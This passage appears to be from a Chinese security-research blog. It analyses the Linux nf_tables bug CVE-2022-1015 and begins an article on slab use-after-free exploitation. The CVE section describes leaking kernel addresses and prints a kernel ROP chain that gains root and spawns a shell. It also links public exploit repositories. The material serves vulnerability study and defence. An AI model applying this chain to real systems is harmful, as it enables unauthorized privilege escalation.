// Set up the signal handler for SIGALRM
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_flags = SA_SIGINFO;
sa.sa_sigaction = timer_handler;
sigaction(SIGALRM, &sa, NULL);

// Start the timer
struct itimerspec its;
its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 10000000; // 100Hz
its.it_value = its.it_interval;
timer_t timerid;
timer_create(CLOCK_MONOTONIC, NULL, &timerid);
timer_settime(timerid, 0, &its, NULL);

// Run a loop to generate some activity
volatile int i;
while (1) {
__asm__ volatile (
"mov $1, %%rax\n\t" // Move 1 to rax
"mov $2, %%rax\n\t" // Move 2 to rax
"mov $3, %%rax\n\t" // Move 3 to rax
"mov $4, %%rax\n\t" // Move 4 to rax
"mov $5, %%rax\n\t" // Move 5 to rax
"mov $6, %%rax\n\t" // Move 6 to rax
"mov $7, %%rax\n\t" // Move 7 to rax
"mov $8, %%rax\n\t" // Move 8 to rax
"mov $9, %%rax\n\t" // Move 9 to rax
"mov $10, %%rax\n\t" // Move 10 to rax

: // No output operand
: // No input operand
: "%rax" // Clobbered register
);
//i = -1; /* 内存写操作 */
}

return 0;
}

CVE-2022-1015 nf_tables 提权漏洞分析

author: 莫兴远 of IceSword Lab

一、简介

CVE-2022-1015 是 Linux 内核 nf_tables 模块的一个漏洞,其成因为没有合理限制整数范围导致栈越界读写。

受该漏洞影响的内核版本范围为 5.12 ~ 5.16 。

该漏洞为此 commit 所修复。

二、漏洞相关知识

Netfilter 是 Linux 内核一个非常庞大的子系统,它在内核的网络栈中置入多个钩子,并允许其他模块在这些钩子处注册回调函数,当内核执行到钩子处时,所有被注册的回调函数都会被执行。

nf_tables 则是隶属于 Netfilter 子系统的一个模块,它在 Netfitler 的某些钩子处注册了回调函数,以提供网络数据包过滤功能,通常被用于实现防火墙等功能。本文所分析的漏洞就位于 nf_tables 模块中。

在用户态与 nf_tables 交互则是通过 netlink。netlink 是常见的用户态与内核态进行交互的手段,它通过向 AF_NETLINK 类型的 socket 发送数据向内核传递信息,类似地,还可通过从该类型 socket 接收数据以获取内核传递回来的信息。

2.1 nf_tables实现

nf_tables 允许用户向其注册处理网络数据包的 rule,以决定针对不同类型的数据包该采取哪种行动。多条 rule 被组织在一条 chain 中,多条 chain 则被组织在一个 table 中。不同类型的 chain 会与不同的 Netfilter hook 绑定在一起。当网络数据包到达后,经过内核不同的 hook 时,所有绑定在该 hook 处的 chain 都会被执行,以完成对数据包的处理。在这里,chain 的执行是指其中所有的 rule 被依次执行,rule 的执行则又是指数据包会根据其中拟定的规则确定被采取什么行动,是丢弃、拒绝还是接受。

向 nf_tables 注册 rule 的方式是通过 netlink。由于通过 netlink 向内核发送的数据包过于底层,用户使用起来不方便,开发者提供了用户态工具 nft,方便用户通过更高级的语法拟定规则。

2.1.1 rule

rule 包含如何处理数据包的逻辑,比如检查数据包的协议、源地址、目标地址、端口等,以分别采取不同的行动。每条 rule 都和一个 verdict 绑定,即每条 rule 都有一个默认的裁定,决定对数据包采取何种行为,是丢弃、拒绝还是接受。举个例子:

1
udp dport 50001 drop

drop 就是该 rule 的 verdict,表示所有目标端口为 50001 的 udp 数据包都会被丢弃。

2.1.2 chain

chain 是将 rule 组织起来的结构,一条 chain 可包含多条 rule。chain 分为 base chain 和 non-base chain,base chain 是直接绑定到 Netfilter hook 上面的,执行流只会从 base chain 开始。chain 中的 rule 一般都是依次执行完,有时候某条 rule 的 verdict 会让执行流跳转到其他的 chain,从而越过该 chain 中剩下的 rule,但只能跳转到 non-base chain。跳转分两种,一种是跳转后到某条 chain 后就不可以返回了,另一种则是跳转后还可以返回继续执行原来的 chain 剩下的 rule。

2.1.3 table

table 是 nf_tables 最顶层的结构,它包含多条 chain。chain 只能跳转到同一 table 中的其他 chain。

每个 table 都会从属于某个族,族决定了该 table 会处理哪些种类的数据包。族包括 ip、 ip6、 inet、 arp、 bridge 和 netdev。

属于 ip 族的 table 只负责处理 IPv4 数据包,属于 ip6 族的 table 只负责处理 IPv6 数据包,属于 inet 族的 table 则既可处理 IPv4 又可处理 IPv6 数据包。

2.1.4 expression

事实上,rule 在层次结构上还可以细分为多个 expression,expression 相当于一条条应用在数据包上的具体指令。用户态工具一般不会涉及到 expression 这个抽象表示,只有内核代码会涉及到。

对于 udp dport 50001 drop 这个规则,需要先通过一个 expression 检查协议是不是 udp,再通过一个 expression 检查端口是不是 50001,如果前面的 expression 都通过了,最后再通过一个 expression 将 verdict 设置为 drop,以将数据包丢弃。

每种 expression 会和一个 struct nft_expr_ops 实例绑定,比如 immediate 这个 expression:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static const struct nft_expr_ops nft_imm_ops = {
.type = &nft_imm_type, // expression 类型
.size = NFT_EXPR_SIZE(sizeof(struct nft_immediate_expr)),
.eval = nft_immediate_eval, // 当 expression 被执行时调用
.init = nft_immediate_init, // 当 expression 被初始化时调用
.activate = nft_immediate_activate,
.deactivate = nft_immediate_deactivate,
.destroy = nft_immediate_destroy,
.dump = nft_immediate_dump,
.validate = nft_immediate_validate,
.reduce = nft_immediate_reduce,
.offload = nft_immediate_offload,
.offload_action = nft_immediate_offload_action,
};

每次当一条 rule 被添加进来,其所有 expression 的 init 函数都会被调用。

当某个 expression 被执行时,其 eval 函数会被调用。

2.1.5 register

expression 在操作数据包时,需要内存来记录一些数据,这部分内存就是 register。在内核的实现中,所有 register 都在栈上,且在内存地址上是连续的。

expression 可以读取或修改 register 的数据,单次访问的对象既可以是单个 register,也可以是连续的多个 register,因此 register 可以看做是一块连续的缓冲区。

register 可通过 index 索引,以下是内核中定义的 register 的 index:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,

NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
...
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};

register 有两种索引方式。NFT_REG_1 到 NFT_REG_4 是一种,共 4 个 register,每个 16 字节;NFT_REG32_00 到 NFT_REG32_15 是另一种,共 16 个 reigster,每个 4 字节。在两种索引方式中,NFT_REG_VERDICT 都指向 verdict register,大小为 16 字节。两种索引方式针对的都是同一片内存,因此内存总数都是 16 + 4 * 16 = 16 + 16 * 4 = 80 字节。

verdict register 在内存上位于最前,每条 rule 执行完后都会设置好 verdict register,以决定下一步该怎么执行。verdict register 可以设置成以下值:

verdict 作用
NFT_CONTINUE 默认 verdict,继续执行下一个 expression。
NFT_BREAK 跳过该 rule 剩下的 expression,继续执行下一条 rule。
NF_DROP 丢弃数据包,停止执行。
NF_ACCEPT 接受数据包,停止执行。
NFT_GOTO 跳转到另一条 chain,且不再返回。
NFT_JUMP 跳转到另一条 chain,执行完该 chain 后,若 verdict 为 NFT_CONTINUE,则返回原本的 chain 继续执行。

2.1.6 nft_do_chain

nft_do_chain 实现了依次执行所有 base chain 中所有 rule 的所有 expression 的逻辑,以下是添加了许多说明性注释的该函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_rule_blob *blob;
struct nft_traceinfo info;

info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0);

rule = (struct nft_rule_dp *)blob->data;
/* 获取最后一条 rule 的位置,以确定循环的停止条件 */
last_rule = (void *)blob->data + blob->size;
next_rule: // 执行到一条新的 chain,或返回到原来的 chain,都从这里开始
regs.verdict.code = NFT_CONTINUE; // the default verdict code = NFT_CONTINUE
for (; rule < last_rule; rule = nft_rule_next(rule)) { // iterate through the rules
/* iterate through the expressions */
nft_rule_dp_for_each_expr(expr, last, rule) {
// execute the expression
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, &regs);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, &regs);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, &regs);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, &regs, pkt))
expr_call_ops_eval(expr, &regs, pkt);
/* 如果 verdict 不是 NFT_CONTINUE, 停止执行该 rule 接下来的 expression */
if (regs.verdict.code != NFT_CONTINUE)
break;
}

// 已执行完一条 rule,检查 verdict,
// 如果不是 NFT_BREAK 或 NFT_CONTINUE,停止执行该 chain 剩下的 rule
switch (regs.verdict.code) {
case NFT_BREAK:
// 若为 NFT_BREAK,则将 verdict 设置回 NFT_CONTINUE。
// NFT_BREAK 和 NFT_CONTINUE 类似,都会执行下一条 rule,
// 只是 NFT_BREAK 会跳过当前 rule 剩下的 expression。
regs.verdict.code = NFT_CONTINUE;
nft_trace_copy_nftrace(pkt, &info);
continue;
case NFT_CONTINUE:
// 执行到这里代表执行完了当前 rule 的所有 expression,
// 继续执行下一条 rule 即可。
nft_trace_packet(pkt, &info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
// 若 verdict 不是 NFT_BREAK 或 NFT_CONTINUE,
// 代表即将跳过该 chain 剩下的 rule,停止该 chain 的执行。
break;
}

nft_trace_verdict(&info, chain, rule, &regs);

// 执行到这里代表执行完了某条 chain,
// 将根据 verdict 决定采取的行动
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
// 已经决定好对当前数据包的处理,退出函数即可。
return regs.verdict.code;
}

// 尚未决定好对数据包的处理,继续执行。
switch (regs.verdict.code) {
case NFT_JUMP:
// 跳转到另一条 chain,将返回时需要的信息保存到 jumpstack 上
// 返回后,执行的是当前 rule 的下一条 rule
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
fallthrough;
case NFT_GOTO:
// 跳转到另一条 chain,不再返回
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE: // 执行下一条 chain
case NFT_RETURN: // 返回到上一次跳转前的 chain
break;
default:
WARN_ON_ONCE(1);
}

// ...

return nft_base_chain(basechain)->policy;
}

每执行完一个 expression、一条 rule 或 一条 chain 时,都会检查 verdict register。

执行完一个 expression 时,非 NFT_CONTINUE 的 verdict 会阻止该条 rule 剩下的 expression 的执行。

执行完一条 rule 时,非 NFT_BREAK 或 NFT_CONTINUE 的 verdict 会阻止该 chain 剩下的 rule 的执行。

执行完一条 chain 时,如果已经决定对数据包的处理,则停止执行。否则,根据 verdict 决定流程如何跳转。

2.1.7 expression种类

以下是常见的一些 expression 类型及其功能的简单描述:

类型 功能
nft_immediate_expr 将一个常数保存进 register。
nft_payload 从数据包提取数据保存进 register。
nft_payload_set 将数据包的某部分数据设置成 register 中的数据。
nft_cmp_expr 比较 register 中的数据和某个常数,根据结果决定是否修改执行流。
nft_bitwise 对 register 中数据进行位操作,比如左移、亦或。
nft_range_expr 和 nft_cmp_expr 类似,但比较的是更大范围的数据,可跨越多个 register。

和 nf_table 进行交互需要通过 netlink。netlink 是 Linux 系统中和内核通信的常用方式,特别是在网络模块中使用率很高,它的设计是为了克服 ioctl 的一些缺点。

和 netlink 通信需要利用 AF_NETLINK 族的 socket。所有需要使用 netlink 的内核模块都要实现一个 protocal,nf_tables 则是实现了 NETLINK_NETFILTER 这一 protocal。因此,为了和 nf_tables 通信,只需要创建以下 socket:

1
int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);

当创建相应的 netlink socket 时,netlink 还会自动加载相应的模块,只要 modprobe 和 .ko 文件存放在合适的位置。

创建 socket 之后,就可通过 sendmsg 向 socket 发送消息,通过 recvmsg 从 socket 接收消息,从而实现和 nf_tables 通信。

sendmsg 的消息格式是:

1
2
3
4
5
6
7
8
9
struct msghdr {
void *msg_name; /* Optional address */
socklen_t msg_namelen; /* Size of address */
struct iovec *msg_iov; /* Scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* Ancillary data, see below */
size_t msg_controllen; /* Ancillary data buffer len */
int msg_flags; /* Flags (unused) */
};

消息的内容存放在 msg_iov 字段指向的 iovec 数组中。

发送 netlink 消息时,iovec 数组指向 struct nlmsghdr 结构:

1
2
3
4
5
6
7
struct nlmsghdr {
__u32 nlmsg_len; /* Length of message including header */
__u16 nlmsg_type; /* Message content */
__u16 nlmsg_flags; /* Additional flags */
__u32 nlmsg_seq; /* Sequence number */
__u32 nlmsg_pid; /* Sending process port ID */
};

struct nlmsghdr 之后通常紧跟特定 protocol 定义的协议头部,不同 protocal 的协议头部差异很大。

协议头部之后是多个属性,属性的头部是以下结构:

1
2
3
4
struct nlattr {
__u16 nla_len;
__u16 nla_type;
};

属性的实际内容则紧跟在头部之后。

三、漏洞成因

漏洞类型是整形溢出导致的栈溢出,同时存在于 nft_validate_register_store 及 nft_validate_register_load 两个函数,以下仅通过 nft_validate_register_load 进行解释,nft_validate_register_store 处的情况大同小异。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* net/netfilter/nf_tables_api.c */
int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
// 这里检查是否在读取 verdict register, 这是不被允许的
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0) // len 不可以是 0
return -EINVAL;
// 由于 reg 的范围没有限制好,导致整形溢出
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;

return 0;
}

由于 reg 的范围没有限制好,导致 reg * NFT_REG32_SIZE + len 整形溢出。

reg 的取值范围分析可以看 nft_validate_register_load 的调用处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* net/netfilter/nf_tables_api.c */
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg; // 4 byte register variable
int err;

reg = nft_parse_register(attr); // gets the register index from an attribute
err = nft_validate_register_load(reg, len); // calls the validating function
if (err < 0) // if the validating function didn't return an error everything is fine
return err;

*sreg = reg; // save the register index into sreg (a pointer that is provided as an argument)
// sreg = source register -> the register from which we read
return 0;
}
EXPORT_SYMBOL_GPL(nft_parse_register_load);

可以看到 reg 来自 netlink 属性 attr,通过 nft_parse_register 函数解析出来,再传递给 nft_validate_register_load 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* net/netfilter/nf_tables_api.c */
/**
* nft_parse_register - parse a register value from a netlink attribute
*
* @attr: netlink attribute
*
* Parse and translate a register value from a netlink attribute.
* Registers used to be 128 bit wide, these register numbers will be
* mapped to the corresponding 32 bit register numbers.
*/
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;

// from include/uapi/linux/netfilter/nf_tables.h
// NFT_REG_SIZE = 16 (16 bytes)
// NFT_REG32_SIZE = 4 (4 bytes)
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}

在 nft_parse_register 中,明显没有对 reg 范围做任何限制,传入在 NFT_REG_VERDICT…NFT_REG_4 之外的值,函数最终都会返回 reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00,也就是 reg - 4。

最终,nft_parse_register_load 传回的 reg 会作为 index 用于访问 nft_do_chain 函数中的 nft_regs 局部变量,导致栈溢出。由于 nft_validate_register_store 及 nft_validate_register_load 两个函数都存在漏洞,因此可以同时越界读和写 nft_regs 之后的栈内存。

四、EXP思路

EXP 中存在大量的算术运算计算各种地址位移,所针对的是特定的漏洞及特定的内核映像,在此谈论这些意义不大,因此本文只谈通用的思路。想要更细致研究的话可以参考 EXP 仓库:

https://github.com/pqlx/CVE-2022-1015

https://github.com/ysanatomic/CVE-2022-1015

通常,由于 canary 的存在,memcpy 等函数引发的栈内存越界写会难以利用,因为 memcpy 的起始地址通常是某个局部变量,要覆写到返回地址则必定会覆写 canary。这个漏洞可以利用的原因就是越界读写的起始地址可以通过传入的 reg 值设定,因此可以越过 canary,从 canary 之后、返回地址之前的地址开始覆写。

4.1 泄露内核地址

首先通过动态调试寻找栈上的内核地址,再通过 nft_bitwise 这一 expression 越界读取该范围的内存,保存进 nft_regs 的正常范围内存内,这样才能通过 nft_payload_set 将 nft_regs 正常范围内存的内容复制到数据包中,经由用户态的 socket 接收该数据包获取到内核地址,以绕过 KASLR 保护。

4.2 代码执行

通过 nft_payload 将通过数据包发送的 ROP 链复制到 nft_regs 的正常范围内存内,再通过 nft_bitwise 越界写以覆盖到返回地址。为了不覆写到 canary,起始地址必须限制在 canary 之后,返回地址之前。

ROP 链的构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int offset = 0;
// clearing interrupts
payload[offset++] = kbase + cli_ret;

// preparing credentials
payload[offset++] = kbase + pop_rdi_ret;
payload[offset++] = 0x0; // first argument of prepare_kernel_cred
payload[offset++] = kbase + prepare_kernel_cred;

// commiting credentials
payload[offset++] = kbase + mov_rdi_rax_ret;
payload[offset++] = kbase + commit_creds;

// switching namespaces
payload[offset++] = kbase + pop_rdi_ret;
payload[offset++] = process_id;
payload[offset++] = kbase + find_task_by_vpid;
payload[offset++] = kbase + mov_rdi_rax_ret;
payload[offset++] = kbase + pop_rsi_ret;
payload[offset++] = kbase + ini;
payload[offset++] = kbase + switch_task_namespaces;

// returning to userland
payload[offset++] = kbase + swapgs_restore_regs_and_return_to_usermode;
payload[offset++] = (unsigned long)spawnShell;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

先清空 interrupt 标志位,屏蔽可屏蔽中断,防止 ROP 被打断。

之后通过调用 prepare_kernel_cred(0) 准备权限为 root 的进程 cred。prepare_kernel_cred 是内核中专门用来准备进程 cred 的,进程 cred 代表了进程的各种权限。当对 prepare_kernel_cred 传入的参数为 0 时,返回的就是 root 权限的进程 cred。

再通过调用 switch_task_namespaces(find_task_by_vpid(process_id), &init_nsproxy) 将 EXP 进程的名称空间切换到 init_nsproxy。其中 process_id 为 EXP 进程的 pid,有许多办法可在用户态获取并保存下来,find_task_by_vpid 则会返回指定 pid 的 task_struct,init_nsproxy 为 init 进程也就是第一个进程的名称空间。由于使用 nf_tables 需要切换到新的 user + network 名称空间,所以这一步是必要的。当然,也可以在获得 root 权限后返回到用户态时再切换。

最后是返回到用户态,通过 swapgs; iret; 这一 gadget。需要在栈上依次准备好 IP、CS、EFLAGS、SP、SS 寄存器的内容,其中,IP 指向可弹出一个 shell 的函数,该函数通过调用 system(“/bin/sh”) 获得 shell。

4.3 离开 softirq 上下文

在漏洞发现者的 EXP 中,在上一节的清空 interrupt 标志位操作后,还增加了一步离开 softirq 上下文的操作,这是因为在 EXP 作者的利用环境中,nft_do_chain 在 NET_RX_SOFTIRQ 类型 irqsoft 上下文中被调用。这一步不是必须的,但不执行这一步会让系统变得不稳定。

进入 softirq 的逻辑实现在 do_softirq 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
* Macro to invoke __do_softirq on the irq stack. This is only called from
* task context when bottom halves are about to be reenabled and soft
* interrupts are pending to be processed. The interrupt stack cannot be in
* use here.
*/
#define do_softirq_own_stack() \
{ \
__this_cpu_write(hardirq_stack_inuse, true); \
call_on_irqstack(__do_softirq, ASM_CALL_ARG0); \
__this_cpu_write(hardirq_stack_inuse, false); \
}

---

asmlinkage __visible void do_softirq(void)
{
__u32 pending;
unsigned long flags;

if (in_interrupt())
return;

local_irq_save(flags);

pending = local_softirq_pending();

if (pending && !ksoftirqd_running(pending))
do_softirq_own_stack();

local_irq_restore(flags);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
asmlinkage __visible void __softirq_entry __do_softirq(void)
{

unsigned long end = jiffies + MAX_SOFTIRQ_TIME;
unsigned long old_flags = current->flags;
int max_restart = MAX_SOFTIRQ_RESTART;
struct softirq_action *h;
bool in_hardirq;
__u32 pending;
int softirq_bit;

/*
* Mask out PF_MEMALLOC as the current task context is borrowed for the
* softirq. A softirq handled, such as network RX, might set PF_MEMALLOC
* again if the socket is related to swapping.
*/
current->flags &= ~PF_MEMALLOC;
pending = local_softirq_pending();

softirq_handle_begin();
in_hardirq = lockdep_softirq_start();

account_softirq_enter(current);

restart:
/* Reset the pending bitmask before enabling irqs */
set_softirq_pending(0);

local_irq_enable();

h = softirq_vec;

while ((softirq_bit = ffs(pending))) {
unsigned int vec_nr;
int prev_count;

h += softirq_bit - 1;

vec_nr = h - softirq_vec;
prev_count = preempt_count();

kstat_incr_softirqs_this_cpu(vec_nr);

trace_softirq_entry(vec_nr);
h->action(h); // <---------- net_rx_action is called here
trace_softirq_exit(vec_nr);
if (unlikely(prev_count != preempt_count())) {
pr_err("huh, entered softirq %u %s %p with preempt_count %08x, exited with %08x?\n",
vec_nr, softirq_to_name[vec_nr], h->action,
prev_count, preempt_count());
preempt_count_set(prev_count);
}
h++;
pending >>= softirq_bit;
}

if (!IS_ENABLED(CONFIG_PREEMPT_RT) &&
__this_cpu_read(ksoftirqd) == current)
rcu_softirq_qs();

local_irq_disable();

pending = local_softirq_pending();
if (pending) {
if (time_before(jiffies, end) && !need_resched() &&
--max_restart)
goto restart;

wakeup_softirqd();
}

account_softirq_exit(current);
lockdep_softirq_end(in_hardirq);
softirq_handle_end();
current_restore_flags(old_flags, PF_MEMALLOC);
}

在 soft_irq 处理完毕后,通过 local_irq_disable() 关中断,再通过 softirq_handle_end() 调整 preempt_count,原来的系统调用栈在 do_softirq 函数中通过调用 do_softirq_own_stack 宏恢复,最后重新打开中断。

由于 softirq_handle_end() 被内联在 __do_softirq() 中,在此 EXP 中,作者仅通过 ROP 将控制流引导至 __do_softirq() 调用 softirq_handle_end() 处,调整了 preempt_count,并称可以无副作用地离开 softirq 的上下文,回到进程上下文。

参考

How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables

CVE-2022-1015: A validation flaw in Netfilter leading to Local Privilege Escalation

Dissecting the Linux Firewall: Introduction to Netfilter’s nf_tables

A Deep Dive into Iptables and Netfilter Architecture

Connection Tracking (conntrack): Design and Implementation Inside Linux Kernel

Introduction to Netlink — The Linux Kernel documentation

netlink(7) - Linux manual page

Portal:DeveloperDocs/nftables internals - nftables wiki

Linux 内核利用技巧 Slab UAF to Page UAF

author: 熊潇 of IceSword Lab

本文研究了内核编译选项 CONFIG_SLAB_MERGE_DEFAULTkmem_cache 分配的影响.

以及开启该配置的时候, slab UAF 的一种利用方案 (方案来源, 本文内容基于 Linux-5.10.90).

阅读前, 需要对 slab/slub, Buddy system 有基本的了解.

  • Part. 1: 源码分析
  • Part. 2: CONFIG_SLAB_MERGE_DEFAULT 配置对比测试
  • Part. 3: 跨 slab 的 UAF 利用示例

Keyword: slab/slub | CONFIG_SLAB_MERGE_DEFAULT | Linux kernel exploit

Part. 1

创建 struct kmem_cache 的时候,有两种情况:

  • __kmem_cache_alias : 跟现有的共用(mergeable)
  • create_cache : 创建一个新的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kmem_cache_create(..)
kmem_cache_create_usercopy(..)
if (!usersize) // usersize == 0
s = __kmem_cache_alias(name, size, align, flags, ctor); // s 为 NULL 才会创建新的 slab
if (s)
goto out_unlock;
create_cache()

// 进入 `__kmem_cache_alias` 看看
__kmem_cache_alias(..)
// 检查 CONFIG_SLAB_MERGE_DEFAULT 配置;
// 如果开启了,则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代
s = find_mergeable(..)
list_for_each_entry_reverse(s, &slab_caches, list) {
if (slab_unmergeable(s)) // slab_nomerge 为 true 时 return 1;
continue;
...
return s;
}
return NULL; // slab_nomerge 为 true 的时候返回 NULL
if(s)
...
sysfs_slab_alias(..)
return s;

// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false
// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == true
static bool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);

// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html
// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged

// For reduced kernel memory fragmentation, slab caches can be merged
// when they share the same size and other characteristics.
// This carries a risk of kernel heap overflows being able to
// overwrite objects from merged caches (and more easily control cache layout),
// which makes such heap attacks easier to exploit by attackers.

Part.2

测试 CONFIG_SLAB_MERGE_DEFAULT 的影响

Host 主机(开启了配置):

1
2
3
4
5
└─[$] uname -r
5.15.0-52-generic

└─[$] cat /boot/config-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT
CONFIG_SLAB_MERGE_DEFAULT=y

VM (未开启配置):

1
2
3
4
5
➜  ~ uname -r
5.10.90

└─[$] cat .config|grep CONFIG_SLAB_MERGE_DEFAULT
# CONFIG_SLAB_MERGE_DEFAULT is not set
  • code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/mm.h>
    #include <linux/slab.h>
    #include <linux/slub_def.h>
    #include <linux/sched.h>

    #define OBJ_SIZE 256
    #define OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)

    struct my_struct {
    char data[OBJ_SIZE];
    };

    static struct kmem_cache *my_cachep;
    static struct my_struct *ms[OBJ_NUM];

    static int __init km_init(void){
    int i, cpu;
    struct kmem_cache_cpu *c;
    struct page *pg;

    pr_info("Hello\n");

    my_cachep = kmem_cache_create("my_struct",
    sizeof(struct my_struct), 0,
    SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,
    NULL);

    pr_info("my_cachep: %px, %s\n", my_cachep, my_cachep->name);
    pr_info("my_cachep.size: %u\n", my_cachep->size);
    pr_info("my_cachep.object_size: %u\n", kmem_cache_size(my_cachep));

    cpu = get_cpu();
    pr_info("cpu: %d\n", cpu);

    c = per_cpu_ptr(my_cachep->cpu_slab, cpu);

    for(i = 0; i<OBJ_NUM; i++){
    ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    pg = virt_to_page(ms[i]);
    pr_info("[%02d] object: %px, page: %px(%px), %d\n", i, ms[i],
    pg, page_address(pg),
    (void *)pg == (void *)c->page);
    }

    return 0;

    }

    static void __exit km_exit(void)
    {
    int i;

    for( i = 0; i<OBJ_NUM; i++){
    kmem_cache_free(my_cachep, ms[i]);
    }
    kmem_cache_destroy(my_cachep);
    pr_info("Bye\n");
    }

    module_init(km_init);
    module_exit(km_exit);

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("X++D");
    MODULE_DESCRIPTION("Kernel xxx Module.");
    MODULE_VERSION("0.1");
  • VM result

    分配的 object 地址和 page 的关系非常清晰

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    ➜  ~ insmod slab-tc.ko
    [ 1184.983757] Hello
    [ 1184.984278] my_cachep: ffff8880096ea000, my_struct
    [ 1184.985568] my_cachep.size: 256
    [ 1184.986451] my_cachep.object_size: 256
    [ 1184.987488] cpu: 0
    **[ 1184.988945] [00] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), 1**
    [ 1184.991189] [01] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.993438] [02] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.995688] [03] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.998018] [04] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.000234] [05] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), 1
